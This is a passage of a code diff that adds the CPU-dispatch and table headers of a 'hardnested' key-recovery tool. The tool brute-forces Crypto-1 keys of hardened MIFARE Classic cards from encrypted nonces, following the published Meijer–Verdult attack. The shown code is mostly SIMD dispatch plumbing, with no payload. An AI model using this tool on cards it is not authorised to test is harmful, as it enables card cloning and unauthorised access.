count_bitarray_AND3_function_p = &count_bitarray_AND3_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
count_bitarray_AND3_function_p = &count_bitarray_AND3_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
count_bitarray_AND3_function_p = &count_bitarray_AND3_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
return (*count_bitarray_AND3_function_p)(A, B, C);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND4_dispatch(uint32_t* A, uint32_t* B, uint32_t* C, uint32_t* D) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
count_bitarray_AND4_function_p = &count_bitarray_AND4_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
count_bitarray_AND4_function_p = &count_bitarray_AND4_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
count_bitarray_AND4_function_p = &count_bitarray_AND4_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
count_bitarray_AND4_function_p = &count_bitarray_AND4_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
return (*count_bitarray_AND4_function_p)(A, B, C, D);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t crack_states_bitsliced_dispatch(uint32_t cuid, uint8_t* best_first_bytes, statelist_t* p, uint32_t* keys_found, uint64_t* num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t* bf_test_nonce_2nd_byte, noncelist_t* nonces) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
crack_states_bitsliced_function_p = &crack_states_bitsliced_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
crack_states_bitsliced_function_p = &crack_states_bitsliced_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
crack_states_bitsliced_function_p = &crack_states_bitsliced_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
crack_states_bitsliced_function_p = &crack_states_bitsliced_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
return (*crack_states_bitsliced_function_p)(cuid, best_first_bytes, p, keys_found, num_keys_tested, nonces_to_bruteforce, bf_test_nonce_2nd_byte, nonces);
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitslice_test_nonces_dispatch(uint32_t nonces_to_bruteforce, uint32_t* bf_test_nonce, uint8_t* bf_test_nonce_par) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
bitslice_test_nonces_function_p = &bitslice_test_nonces_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
bitslice_test_nonces_function_p = &bitslice_test_nonces_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
bitslice_test_nonces_function_p = &bitslice_test_nonces_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
bitslice_test_nonces_function_p = &bitslice_test_nonces_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
(*bitslice_test_nonces_function_p)(nonces_to_bruteforce, bf_test_nonce, bf_test_nonce_par);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
|
||||||
|
malloc_bitarray_t* malloc_bitarray_function_p = &malloc_bitarray_NOSIMD;
|
||||||
|
free_bitarray_t* free_bitarray_function_p = &free_bitarray_NOSIMD;
|
||||||
|
bitarray_AND_t* bitarray_AND_function_p = &bitarray_AND_NOSIMD;
|
||||||
|
count_bitarray_AND_t* count_bitarray_AND_function_p = &count_bitarray_AND_NOSIMD;
|
||||||
|
count_bitarray_low20_AND_t* count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_NOSIMD;
|
||||||
|
bitarray_AND4_t* bitarray_AND4_function_p = &bitarray_AND4_NOSIMD;
|
||||||
|
bitarray_OR_t* bitarray_OR_function_p = &bitarray_OR_NOSIMD;
|
||||||
|
count_bitarray_AND2_t* count_bitarray_AND2_function_p = &count_bitarray_AND2_NOSIMD;
|
||||||
|
count_bitarray_AND3_t* count_bitarray_AND3_function_p = &count_bitarray_AND3_NOSIMD;
|
||||||
|
count_bitarray_AND4_t* count_bitarray_AND4_function_p = &count_bitarray_AND4_NOSIMD;
|
||||||
|
|
||||||
|
crack_states_bitsliced_t* crack_states_bitsliced_function_p = &crack_states_bitsliced_NOSIMD;
|
||||||
|
bitslice_test_nonces_t* bitslice_test_nonces_function_p = &bitslice_test_nonces_NOSIMD;
|
||||||
|
#endif
|
||||||
|
/////////////////////////////////////////////////
|
||||||
|
// Entries to dispatched function calls
|
||||||
|
|
||||||
|
inline uint32_t* malloc_bitarray(uint32_t x) {
|
||||||
|
return (*malloc_bitarray_function_p)(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline void free_bitarray(uint32_t* x) {
|
||||||
|
(*free_bitarray_function_p)(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline void bitarray_AND(uint32_t* A, uint32_t* B) {
|
||||||
|
(*bitarray_AND_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline uint32_t count_bitarray_AND(uint32_t* A, uint32_t* B) {
|
||||||
|
return (*count_bitarray_AND_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline uint32_t count_bitarray_low20_AND(uint32_t* A, uint32_t* B) {
|
||||||
|
return (*count_bitarray_low20_AND_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline void bitarray_AND4(uint32_t* A, uint32_t* B, uint32_t* C, uint32_t* D) {
|
||||||
|
(*bitarray_AND4_function_p)(A, B, C, D);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline void bitarray_OR(uint32_t* A, uint32_t* B) {
|
||||||
|
(*bitarray_OR_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline uint32_t count_bitarray_AND2(uint32_t* A, uint32_t* B) {
|
||||||
|
return (*count_bitarray_AND2_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline uint32_t count_bitarray_AND3(uint32_t* A, uint32_t* B, uint32_t* C) {
|
||||||
|
return (*count_bitarray_AND3_function_p)(A, B, C);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline uint32_t count_bitarray_AND4(uint32_t* A, uint32_t* B, uint32_t* C, uint32_t* D) {
|
||||||
|
return (*count_bitarray_AND4_function_p)(A, B, C, D);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t crack_states_bitsliced(uint32_t cuid, uint8_t* best_first_bytes, statelist_t* p, uint32_t* keys_found, uint64_t* num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t* bf_test_nonce_2nd_byte, noncelist_t* nonces) {
|
||||||
|
return (*crack_states_bitsliced_function_p)(cuid, best_first_bytes, p, keys_found, num_keys_tested, nonces_to_bruteforce, bf_test_nonce_2nd_byte, nonces);
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitslice_test_nonces(uint32_t nonces_to_bruteforce, uint32_t* bf_test_nonce, uint8_t* bf_test_nonce_par) {
|
||||||
|
(*bitslice_test_nonces_function_p)(nonces_to_bruteforce, bf_test_nonce, bf_test_nonce_par);
|
||||||
|
}
|
||||||
197
src/hardnested/hardnested_cpu_dispatch.h
Normal file
197
src/hardnested/hardnested_cpu_dispatch.h
Normal file
@ -0,0 +1,197 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
//
|
||||||
|
// brute forcing is based on @aczids bitsliced brute forcer
|
||||||
|
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
|
||||||
|
// - don't rollback. Start with 2nd byte of nonce instead
|
||||||
|
// - reuse results of filter subfunctions
|
||||||
|
// - reuse results of previous nonces if some first bits are identical
|
||||||
|
//
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// aczid's Copyright notice:
|
||||||
|
//
|
||||||
|
// Bit-sliced Crypto-1 brute-forcing implementation
|
||||||
|
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
|
||||||
|
/*
|
||||||
|
Copyright (c) 2015-2016 Aram Verstegen
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include "hardnested_bruteforce.h" // statelist_t
|
||||||
|
#ifdef X86_SIMD
|
||||||
|
// typedefs and declaration of functions:
|
||||||
|
typedef uint32_t* malloc_bitarray_t(uint32_t);
|
||||||
|
malloc_bitarray_t malloc_bitarray_dispatch;
|
||||||
|
malloc_bitarray_t malloc_bitarray_AVX512;
|
||||||
|
malloc_bitarray_t malloc_bitarray_AVX2;
|
||||||
|
malloc_bitarray_t malloc_bitarray_AVX;
|
||||||
|
malloc_bitarray_t malloc_bitarray_SSE2;
|
||||||
|
|
||||||
|
typedef void free_bitarray_t(uint32_t*);
|
||||||
|
free_bitarray_t free_bitarray_dispatch;
|
||||||
|
free_bitarray_t free_bitarray_AVX512;
|
||||||
|
free_bitarray_t free_bitarray_AVX2;
|
||||||
|
free_bitarray_t free_bitarray_AVX;
|
||||||
|
free_bitarray_t free_bitarray_SSE2;
|
||||||
|
|
||||||
|
typedef void bitarray_AND_t(uint32_t[], uint32_t[]);
|
||||||
|
bitarray_AND_t bitarray_AND_dispatch;
|
||||||
|
bitarray_AND_t bitarray_AND_AVX512;
|
||||||
|
bitarray_AND_t bitarray_AND_AVX2;
|
||||||
|
bitarray_AND_t bitarray_AND_AVX;
|
||||||
|
bitarray_AND_t bitarray_AND_SSE2;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_AND_t(uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_AND_t count_bitarray_AND_dispatch;
|
||||||
|
count_bitarray_AND_t count_bitarray_AND_AVX512;
|
||||||
|
count_bitarray_AND_t count_bitarray_AND_AVX2;
|
||||||
|
count_bitarray_AND_t count_bitarray_AND_AVX;
|
||||||
|
count_bitarray_AND_t count_bitarray_AND_SSE2;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_low20_AND_t(uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_low20_AND_t count_bitarray_low20_AND_dispatch;
|
||||||
|
count_bitarray_low20_AND_t count_bitarray_low20_AND_AVX512;
|
||||||
|
count_bitarray_low20_AND_t count_bitarray_low20_AND_AVX2;
|
||||||
|
count_bitarray_low20_AND_t count_bitarray_low20_AND_AVX;
|
||||||
|
count_bitarray_low20_AND_t count_bitarray_low20_AND_SSE2;
|
||||||
|
|
||||||
|
typedef void bitarray_AND4_t(uint32_t*, uint32_t*, uint32_t*, uint32_t*);
|
||||||
|
bitarray_AND4_t bitarray_AND4_dispatch;
|
||||||
|
bitarray_AND4_t bitarray_AND4_AVX512;
|
||||||
|
bitarray_AND4_t bitarray_AND4_AVX2;
|
||||||
|
bitarray_AND4_t bitarray_AND4_AVX;
|
||||||
|
bitarray_AND4_t bitarray_AND4_SSE2;
|
||||||
|
|
||||||
|
typedef void bitarray_OR_t(uint32_t[], uint32_t[]);
|
||||||
|
bitarray_OR_t bitarray_OR_dispatch;
|
||||||
|
bitarray_OR_t bitarray_OR_AVX512;
|
||||||
|
bitarray_OR_t bitarray_OR_AVX2;
|
||||||
|
bitarray_OR_t bitarray_OR_AVX;
|
||||||
|
bitarray_OR_t bitarray_OR_SSE2;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_AND2_t(uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_AND2_t count_bitarray_AND2_dispatch;
|
||||||
|
count_bitarray_AND2_t count_bitarray_AND2_AVX512;
|
||||||
|
count_bitarray_AND2_t count_bitarray_AND2_AVX2;
|
||||||
|
count_bitarray_AND2_t count_bitarray_AND2_AVX;
|
||||||
|
count_bitarray_AND2_t count_bitarray_AND2_SSE2;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_AND3_t(uint32_t*, uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_AND3_t count_bitarray_AND3_dispatch;
|
||||||
|
count_bitarray_AND3_t count_bitarray_AND3_AVX512;
|
||||||
|
count_bitarray_AND3_t count_bitarray_AND3_AVX2;
|
||||||
|
count_bitarray_AND3_t count_bitarray_AND3_AVX;
|
||||||
|
count_bitarray_AND3_t count_bitarray_AND3_SSE2;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_AND4_t(uint32_t*, uint32_t*, uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_AND4_t count_bitarray_AND4_dispatch;
|
||||||
|
count_bitarray_AND4_t count_bitarray_AND4_AVX512;
|
||||||
|
count_bitarray_AND4_t count_bitarray_AND4_AVX2;
|
||||||
|
count_bitarray_AND4_t count_bitarray_AND4_AVX;
|
||||||
|
count_bitarray_AND4_t count_bitarray_AND4_SSE2;
|
||||||
|
|
||||||
|
typedef uint64_t crack_states_bitsliced_t(uint32_t, uint8_t*, statelist_t*, uint32_t*, uint64_t*, uint32_t, uint8_t*, noncelist_t*);
|
||||||
|
crack_states_bitsliced_t crack_states_bitsliced_dispatch;
|
||||||
|
crack_states_bitsliced_t crack_states_bitsliced_AVX512;
|
||||||
|
crack_states_bitsliced_t crack_states_bitsliced_AVX2;
|
||||||
|
crack_states_bitsliced_t crack_states_bitsliced_AVX;
|
||||||
|
crack_states_bitsliced_t crack_states_bitsliced_SSE2;
|
||||||
|
|
||||||
|
typedef void bitslice_test_nonces_t(uint32_t, uint32_t*, uint8_t*);
|
||||||
|
bitslice_test_nonces_t bitslice_test_nonces_dispatch;
|
||||||
|
bitslice_test_nonces_t bitslice_test_nonces_AVX512;
|
||||||
|
bitslice_test_nonces_t bitslice_test_nonces_AVX2;
|
||||||
|
bitslice_test_nonces_t bitslice_test_nonces_AVX;
|
||||||
|
bitslice_test_nonces_t bitslice_test_nonces_SSE2;
|
||||||
|
|
||||||
|
typedef enum instr {
|
||||||
|
SIMD_NONE,
|
||||||
|
SIMD_AVX512,
|
||||||
|
SIMD_AVX2,
|
||||||
|
SIMD_AVX,
|
||||||
|
SIMD_SSE2,
|
||||||
|
} SIMDExecInstr;
|
||||||
|
|
||||||
|
extern SIMDExecInstr GetSIMDInstr(void);
|
||||||
|
#else
|
||||||
|
|
||||||
|
typedef uint32_t* malloc_bitarray_t(uint32_t);
|
||||||
|
malloc_bitarray_t malloc_bitarray_NOSIMD;
|
||||||
|
|
||||||
|
typedef void free_bitarray_t(uint32_t*);
|
||||||
|
free_bitarray_t free_bitarray_NOSIMD;
|
||||||
|
|
||||||
|
typedef void bitarray_AND_t(uint32_t[], uint32_t[]);
|
||||||
|
bitarray_AND_t bitarray_AND_NOSIMD;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_AND_t(uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_AND_t count_bitarray_AND_NOSIMD;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_low20_AND_t(uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_low20_AND_t count_bitarray_low20_AND_NOSIMD;
|
||||||
|
|
||||||
|
typedef void bitarray_AND4_t(uint32_t*, uint32_t*, uint32_t*, uint32_t*);
|
||||||
|
bitarray_AND4_t bitarray_AND4_NOSIMD;
|
||||||
|
|
||||||
|
typedef void bitarray_OR_t(uint32_t[], uint32_t[]);
|
||||||
|
bitarray_OR_t bitarray_OR_NOSIMD;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_AND2_t(uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_AND2_t count_bitarray_AND2_NOSIMD;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_AND3_t(uint32_t*, uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_AND3_t count_bitarray_AND3_NOSIMD;
|
||||||
|
|
||||||
|
typedef uint32_t count_bitarray_AND4_t(uint32_t*, uint32_t*, uint32_t*, uint32_t*);
|
||||||
|
count_bitarray_AND4_t count_bitarray_AND4_NOSIMD;
|
||||||
|
|
||||||
|
typedef uint64_t crack_states_bitsliced_t(uint32_t, uint8_t*, statelist_t*, uint32_t*, uint64_t*, uint32_t, uint8_t*, noncelist_t*);
|
||||||
|
crack_states_bitsliced_t crack_states_bitsliced_NOSIMD;
|
||||||
|
|
||||||
|
typedef void bitslice_test_nonces_t(uint32_t, uint32_t*, uint8_t*);
|
||||||
|
bitslice_test_nonces_t bitslice_test_nonces_NOSIMD;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
extern uint32_t *malloc_bitarray(uint32_t x);
|
||||||
|
extern void free_bitarray(uint32_t *x);
|
||||||
|
extern void bitarray_AND(uint32_t *A, uint32_t *B);
|
||||||
|
extern uint32_t count_bitarray_AND(uint32_t *A, uint32_t *B);
|
||||||
|
extern uint32_t count_bitarray_low20_AND(uint32_t *A, uint32_t *B);
|
||||||
|
extern void bitarray_AND4(uint32_t *A, uint32_t *B, uint32_t *C, uint32_t *D);
|
||||||
|
extern void bitarray_OR(uint32_t *A, uint32_t *B);
|
||||||
|
extern uint32_t count_bitarray_AND2(uint32_t *A, uint32_t *B);
|
||||||
|
extern uint32_t count_bitarray_AND3(uint32_t *A, uint32_t *B, uint32_t *C);
|
||||||
|
extern uint32_t count_bitarray_AND4(uint32_t *A, uint32_t *B, uint32_t *C, uint32_t *D);
|
||||||
|
extern uint64_t crack_states_bitsliced(uint32_t cuid, uint8_t* best_first_bytes, statelist_t* p, uint32_t* keys_found, uint64_t* num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t* bf_test_nonces_2nd_byte, noncelist_t* nonces);
|
||||||
|
extern void bitslice_test_nonces(uint32_t nonces_to_bruteforce, uint32_t* bf_test_nonces, uint8_t* bf_test_nonce_par);
|
||||||
67315
src/hardnested/tables.c
Normal file
67315
src/hardnested/tables.c
Normal file
File diff suppressed because it is too large
Load Diff
38
src/hardnested/tables.h
Normal file
38
src/hardnested/tables.h
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
/*
|
||||||
|
* To change this license header, choose License Headers in Project Properties.
|
||||||
|
* To change this template file, choose Tools | Templates
|
||||||
|
* and open the template in the editor.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* File: tables.h
|
||||||
|
* Author: vk496
|
||||||
|
*
|
||||||
|
* Created on 15 de noviembre de 2018, 17:42
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef TABLES_H
|
||||||
|
#define TABLES_H
|
||||||
|
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <lzma.h>
|
||||||
|
#include "../cmdhfmfhard.h"
|
||||||
|
|
||||||
|
typedef struct bitflip_info {
|
||||||
|
uint32_t len;
|
||||||
|
uint8_t *input_buffer;
|
||||||
|
} bitflip_info;
|
||||||
|
|
||||||
|
bitflip_info get_bitflip(odd_even_t odd_num, uint16_t id);
|
||||||
|
bool decompress(lzma_stream* strm);
|
||||||
|
void lzma_init_inflate(lzma_stream *strm, uint8_t *inbuf, uint32_t inbuf_len, uint8_t *outbuf, uint32_t outbuf_len);
|
||||||
|
void lzma_init_decoder(lzma_stream *strm);
|
||||||
|
|
||||||
|
#endif /* TABLES_H */
|
||||||
|
|
||||||
212
src/include/_ptw32.h
Normal file
212
src/include/_ptw32.h
Normal file
@ -0,0 +1,212 @@
|
|||||||
|
/*
|
||||||
|
* Module: _ptw32.h
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
* Pthreads4w internal macros, to be shared by other headers
|
||||||
|
* comprising the pthreads4w package.
|
||||||
|
*
|
||||||
|
* --------------------------------------------------------------------------
|
||||||
|
*
|
||||||
|
* Pthreads4w - POSIX Threads for Windows
|
||||||
|
* Copyright 1998 John E. Bossom
|
||||||
|
* Copyright 1999-2018, Pthreads4w contributors
|
||||||
|
*
|
||||||
|
* Homepage: https://sourceforge.net/projects/pthreads4w/
|
||||||
|
*
|
||||||
|
* The current list of contributors is contained
|
||||||
|
* in the file CONTRIBUTORS included with the source
|
||||||
|
* code distribution. The list can also be seen at the
|
||||||
|
* following World Wide Web location:
|
||||||
|
*
|
||||||
|
* https://sourceforge.net/p/pthreads4w/wiki/Contributors/
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* --------------------------------------------------------------------------
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef __PTW32_H
|
||||||
|
#define __PTW32_H
|
||||||
|
|
||||||
|
/* See the README file for an explanation of the pthreads4w
|
||||||
|
* version numbering scheme and how the DLL is named etc.
|
||||||
|
*/
|
||||||
|
#define __PTW32_VERSION_MAJOR 3
|
||||||
|
#define __PTW32_VERSION_MINOR 0
|
||||||
|
#define __PTW32_VERSION_MICRO 2
|
||||||
|
#define __PTW32_VERION_BUILD 0
|
||||||
|
#define __PTW32_VERSION 3,0,2,0
|
||||||
|
#define __PTW32_VERSION_STRING "3, 0, 2, 0\0"
|
||||||
|
|
||||||
|
#if defined(__GNUC__)
|
||||||
|
# pragma GCC system_header
|
||||||
|
# if ! defined __declspec
|
||||||
|
# error "Please upgrade your GNU compiler to one that supports __declspec."
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined (__cplusplus)
|
||||||
|
# define __PTW32_BEGIN_C_DECLS extern "C" {
|
||||||
|
# define __PTW32_END_C_DECLS }
|
||||||
|
#else
|
||||||
|
# define __PTW32_BEGIN_C_DECLS
|
||||||
|
# define __PTW32_END_C_DECLS
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined __PTW32_STATIC_LIB
|
||||||
|
# define __PTW32_DLLPORT
|
||||||
|
|
||||||
|
#elif defined __PTW32_BUILD
|
||||||
|
# define __PTW32_DLLPORT __declspec (dllexport)
|
||||||
|
#else
|
||||||
|
# define __PTW32_DLLPORT /*__declspec (dllimport)*/
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef __PTW32_CDECL
|
||||||
|
/* FIXME: another internal macro; should have two initial underscores;
|
||||||
|
* Nominally, we prefer to use __cdecl calling convention for all our
|
||||||
|
* functions, but we map it through this macro alias to facilitate the
|
||||||
|
* possible choice of alternatives; for example:
|
||||||
|
*/
|
||||||
|
# ifdef _OPEN_WATCOM_SOURCE
|
||||||
|
/* The Open Watcom C/C++ compiler uses a non-standard default calling
|
||||||
|
* convention, (similar to __fastcall), which passes function arguments
|
||||||
|
* in registers, unless the __cdecl convention is explicitly specified
|
||||||
|
* in exposed function prototypes.
|
||||||
|
*
|
||||||
|
* Our preference is to specify the __cdecl convention for all calls,
|
||||||
|
* even though this could slow Watcom code down slightly. If you know
|
||||||
|
* that the Watcom compiler will be used to build both the DLL and your
|
||||||
|
* application, then you may #define _OPEN_WATCOM_SOURCE, so disabling
|
||||||
|
* the forced specification of __cdecl for all function declarations;
|
||||||
|
* remember that this must be defined consistently, for both the DLL
|
||||||
|
* build, and the application build.
|
||||||
|
*/
|
||||||
|
# define __PTW32_CDECL
|
||||||
|
# else
|
||||||
|
# define __PTW32_CDECL __cdecl
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This is more or less a duplicate of what is in the autoconf config.h,
|
||||||
|
* which is only used when building the pthreads4w libraries.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if !defined (__PTW32_CONFIG_H) && !defined(__PTW32_PSEUDO_CONFIG_H_SOURCED)
|
||||||
|
# define __PTW32_PSEUDO_CONFIG_H_SOURCED
|
||||||
|
# if defined(WINCE)
|
||||||
|
# undef HAVE_CPU_AFFINITY
|
||||||
|
# define NEED_DUPLICATEHANDLE
|
||||||
|
# define NEED_CREATETHREAD
|
||||||
|
# define NEED_ERRNO
|
||||||
|
# define NEED_CALLOC
|
||||||
|
# define NEED_UNICODE_CONSTS
|
||||||
|
# define NEED_PROCESS_AFFINITY_MASK
|
||||||
|
/* This may not be needed */
|
||||||
|
# define RETAIN_WSALASTERROR
|
||||||
|
# elif defined(_MSC_VER)
|
||||||
|
# if _MSC_VER >= 1900
|
||||||
|
# define HAVE_STRUCT_TIMESPEC
|
||||||
|
# elif _MSC_VER < 1300
|
||||||
|
# define __PTW32_CONFIG_MSVC6
|
||||||
|
# elif _MSC_VER < 1400
|
||||||
|
# define __PTW32_CONFIG_MSVC7
|
||||||
|
# endif
|
||||||
|
# elif defined(_UWIN)
|
||||||
|
# define HAVE_MODE_T
|
||||||
|
# define HAVE_STRUCT_TIMESPEC
|
||||||
|
# define HAVE_SIGNAL_H
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* If HAVE_ERRNO_H is defined then assume that autoconf has been used
|
||||||
|
* to overwrite config.h, otherwise the original config.h is in use
|
||||||
|
* at build-time or the above block of defines is in use otherwise
|
||||||
|
* and NEED_ERRNO is either defined or not defined.
|
||||||
|
*/
|
||||||
|
#if defined(HAVE_ERRNO_H) || !defined(NEED_ERRNO)
|
||||||
|
# include <errno.h>
|
||||||
|
#else
|
||||||
|
# include "need_errno.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(__BORLANDC__)
|
||||||
|
# define int64_t LONGLONG
|
||||||
|
# define uint64_t ULONGLONG
|
||||||
|
#elif !defined(__MINGW32__)
|
||||||
|
typedef _int64 int64_t;
|
||||||
|
typedef unsigned _int64 uint64_t;
|
||||||
|
# if defined (__PTW32_CONFIG_MSVC6)
|
||||||
|
typedef long intptr_t;
|
||||||
|
# endif
|
||||||
|
#elif defined(HAVE_STDINT_H) && HAVE_STDINT_H == 1
|
||||||
|
# include <stdint.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* In case ETIMEDOUT hasn't been defined above somehow.
|
||||||
|
*/
|
||||||
|
#if !defined(ETIMEDOUT)
|
||||||
|
/*
|
||||||
|
* note: ETIMEDOUT is no longer defined in winsock.h
|
||||||
|
* WSAETIMEDOUT is so use its value.
|
||||||
|
*/
|
||||||
|
# include <winsock.h>
|
||||||
|
# if defined(WSAETIMEDOUT)
|
||||||
|
# define ETIMEDOUT WSAETIMEDOUT
|
||||||
|
# else
|
||||||
|
# define ETIMEDOUT 10060 /* This is the value of WSAETIMEDOUT in winsock.h. */
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Several systems may not define some error numbers;
|
||||||
|
* defining those which are likely to be missing here will let
|
||||||
|
* us complete the library builds.
|
||||||
|
*/
|
||||||
